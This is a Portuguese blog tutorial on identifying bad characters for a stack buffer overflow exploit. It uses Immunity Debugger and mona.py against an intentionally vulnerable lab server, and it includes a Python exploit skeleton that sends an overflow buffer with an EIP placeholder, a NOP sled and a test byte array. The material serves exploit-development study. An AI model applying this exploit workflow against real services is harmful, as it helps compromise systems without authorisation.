Removendo bad chars usando Immunity Debugger e Mona

Até poucas semanas atrás eu não estava muito interessado em buffer overflows, sabia que é uma parte importante para a certificação da Offensive Security e que não haveria escapatória, mas ao ver os colegas removendo bad chars na mão eu já desanimava – eu não acredito que não há uma maneira mais fácil de fazer isso. E só ouvia Try Harder em resposta.

 

Mas o que são bad chars?

Bad characters (bad chars para os íntimos) são caracteres inválidos. Um programa pode usar algum caractere como delimitador, algum caractere pode ser filtrado e ignorado ou substituído por outro valor. Isso tornaria um payload usando esses caracteres inútil, portanto encontrar e remover bad chars é crucial.

 

Ingredientes

Para fazer essa brincadeira eu estou usando uma máquina virtual com Windows XP SP3, uma aplicação alvo que foi desenvolvida pelo Hélvio Júnior intencionalmente com a falha a ser explorada e o manual do mona.py.

 

[+] Your bribe is insufficient.

Você veio aqui para remover esses caracteres inválidos do seu payload, então pau na jaca – com o Immunity Debugger aberto e o programa alvo devidamente anexado vamos começar configurando o ambiente:

!mona config -set workingfolder c:\monalogs\%p

Usamos este comando para definir a pasta onde os arquivos gerados pelo mona serão armazenados (o tio do pavê que habita em mim gosta de piadas fracas).

Podemos usar o comando abaixo para acalmar a paranóia e verificar que o comando acima funcionou:

!mona config -get workingfolder

Agora precisamos definir a base de comparação então:

!mona bytearray

Acabamos de gerar uma matriz com todos os caracteres de 00 a FF em dois arquivos, um .bin que o mona usará para comparação e um .txt de onde podemos copiar a lista de caracteres e usar em nosso exploit.

O conteúdo do arquivo .txt deve ser similar ao abaixo:

================================================================================
Output generated by mona.py v2.0, rev 583 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
OS : xp, release 5.1.2600
Process being debugged : helvio_server (pid 1680)
Current mona arguments: bytearray
================================================================================
2018-12-07 22:30:23
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

É importante lembrar que a string do exploit deve ser a mesma existente no arquivo .bin. Qualquer alteração na string do exploit deve refletir no arquivo .bin pois é este arquivo que o mona usará para efetuar a comparação. Também é importante lembrar caracteres que comumente são considerados inválidos (oi null byte?) e também algum outro que esteja sendo usado no exploit, no meu caso new line (n) e return carriage (r). Ou seja, antes de vermos o exploit falhar a primeira vez, já vamos gerar uma nova matriz de caracteres sem os indesejados usando o seguinte comando:

!mona bytearray -cpb "\x00\x0a\x0d"

A pasta com os arquivos gerados foi atualizada…

… e o arquivo bytearray.txt agora tem uma matriz já com 3 bad chars removidos.

================================================================================
Output generated by mona.py v2.0, rev 583 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
OS : xp, release 5.1.2600
Process being debugged : helvio_server (pid 464)
Current mona arguments: bytearray -cpb "\x00\x0a\x0d"
================================================================================
2018-12-13 14:36:33
================================================================================
"\x01\x02\x03\x04\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x25\x26\x27\x28"
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc6\xc7\xc8\xc9\xca"
"\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec"
"\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Jogando essa string em nosso exploit e agora temos o seguinte código:

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
print "nUsage: " + sys.argv[0] + " n"
sys.exit()

bch = ("\x01\x02\x03\x04\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x25\x26\x27\x28"
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc6\xc7\xc8\xc9\xca"
"\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec"
"\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A" * 452
buffer += "BBBB"
buffer += "x90" * 16
buffer += bch
buffer += "carcassss"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 8888))
print s.recv(1024)
print "Sending evil buffer..."
s.send(buffer)
s.close()

Vamos rodar e ver o que acontece.

 

ERROR_SUCCESS

Agora precisamos encontrar onde se iniciam os bad chars. Exatamente onde deixei selecionado, na linha em azul.
Podemos identificar o final do lixo jogado no buffer para causar o estouro da pilha, o espaço com “BBBB” que usaremos para o endereço do EIP, o NOP sled e então o conteúdo da nossa matriz de caracteres.
0022FB88 é o endereço que buscamos. Como esse dado em mãos, vamos finalmente fazer a comparação entre a matriz gerada (que está no arquivo .bin e também no exploit que enviamos) e que está em memória.

!mona compare -f C:\monalogs\helvio_server\bytearray.bin -a 0022FB88

Tá e daí? O que eu faça com tudo isso? Bem, vamos nos concentrar nas janelas mona Memory comparison results e Log data.
A primeira nos dá um resumo do que foi encontrado com uma lista de caracteres inválidos detectados.

Já o conteúdo da janela Log data é o mesmo que foi salvo no arquivo compare.txt que agora existe na pasta que definimos como nosso ambiente de trabalho.

| File        | Memory      | Note       
---------------------------------------------------------
0   0   4   4   | 01 02 03 04 | 01 02 03 04 | unmodified!
4   4   2   0   | 05 06       |             | missing    
6   4   24  24  | 07 ... 20   | 07 ... 20   | unmodified!
30  28  4   2   | 21 22 23 24 | c4 e3       | compacted  
34  30  159 159 | 25 ... c3   | 25 ... c3   | unmodified!
193 189 2   0   | c4 c5       |             | missing    
195 189 29  29  | c6 ... e2   | c6 ... e2   | unmodified!
224 218 2   0   | e3 e4       |             | missing    
226 218 27  27  | e5 ... ff   | e5 ... ff   | unmodified!
---------------------------------------------------------

Possibly bad chars: 05 06 21 22 23 24 c4 c5 e3 e4
Bytes omitted from input: 00 0a 0d

Se você estiver se sentindo com sorte, sua lista de caracteres inválidos já está pronta. Corre lá pro MSFVenom e abraço pro gaiteiro.
Senão, fica aqui que vamos fazer um refazer a comparação, para isso, mais uma vez vamos criar uma matriz agora removendo todos os caracteres detectados.
Nosso comando deve ser o seguinte:

!mona bytearray -cpb "\x00\x0a\x0d\x05\x06\x21\x22\x23\x24\xc4\xc5\xe3\xe4"

Nossa matriz foi lá para o nosso exploit e já executamos ele mais uma vez.

Os bad chars já estão lá, o endereço é o mesmo, o comando vai ser o mesmo:

!mona compare -f C:\monalogs\helvio_server\bytearray.bin -a 0022FB88

E então é isso pessoal, o conteúdo da memória está sem modificações e confirmamos a lista de bad chars. Se você estiver procurando algum material (em português) para começar com o buffer overflow, o Hélvio também fez um vídeo com uma introdução ao assunto que recomendo fortemente.